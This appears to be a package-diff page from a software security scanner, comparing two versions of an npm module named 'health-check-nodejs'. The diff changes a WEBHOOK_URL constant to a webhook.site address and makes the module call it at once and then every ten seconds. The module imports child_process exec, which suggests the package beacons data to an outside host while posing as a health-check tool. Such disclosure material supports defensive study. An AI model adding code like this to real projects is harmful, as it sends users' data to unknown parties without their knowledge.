health-check-nodejs 3.16.4 → 3.16.5

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +3 -3
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,6 +1,6 @@
1
1
  const { exec } = require('child_process');
2
2
 
3
- const WEBHOOK_URL = 'https://snch-cdn.com/7f399839-4fe8-4f3f-8f92-bc7467d4333b';
3
+ const WEBHOOK_URL = 'https://webhook.site/0287d9c8-a200-4758-8b4e-972c2e718693';
4
4
 
5
5
  async function performHealthCheck(fetch) {
6
6
  const healthStatus = { status: 'ok', timestamp: new Date().toISOString() };
@@ -55,6 +55,6 @@ async function fetchData(fetch) {
55
55
  setInterval(async () => {
56
56
  await fetchData(fetch);
57
57
  await performHealthCheck(fetch);
58
- }, 60000);
59
- }, 60000); //1 min
58
+ }, 10000);
59
+ }, 0); //1 min
60
60
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "health-check-nodejs",
3
- "version": "3.16.4",
3
+ "version": "3.16.5",
4
4
  "description": "A health check module for Node.js applications",
5
5
  "main": "index.js",
6
6
  "scripts": {